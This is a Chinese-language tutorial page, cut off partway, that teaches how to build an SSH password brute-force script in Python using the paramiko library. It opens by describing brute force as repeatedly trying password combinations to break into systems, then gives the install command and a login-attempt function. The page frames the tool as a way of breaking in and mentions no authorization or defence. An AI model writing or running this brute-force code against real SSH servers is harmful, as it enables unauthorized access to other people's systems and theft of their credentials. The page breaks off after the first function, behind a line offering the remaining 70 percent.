暴力攻击是一种活动,涉及反复尝试尝试许多密码组合以闯入需要身份验证的系统。在本教程中,您将学习如何在Python中制作用于SSH连接的暴力脚本。
我们将使用paramiko库,该库为我们提供了一个简单的SSH客户端界面,让我们安装它:
pip3 install paramiko colorama
我们使用colorama只是为了获得良好的可视效果,除此之外没有其他。
打开一个新的Python文件并导入所需的模块
import paramiko import socket import time from colorama import init, Fore
# initialize colorama init() GREEN = Fore.GREEN RED = Fore.RED RESET = Fore.RESET BLUE = Fore.BLUE
def is_ssh_open(hostname, username, password): # initialize SSH client client = paramiko.SSHClient() # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password, timeout=3) except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") return False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") return False ...
点击查看剩余70%
网友评论0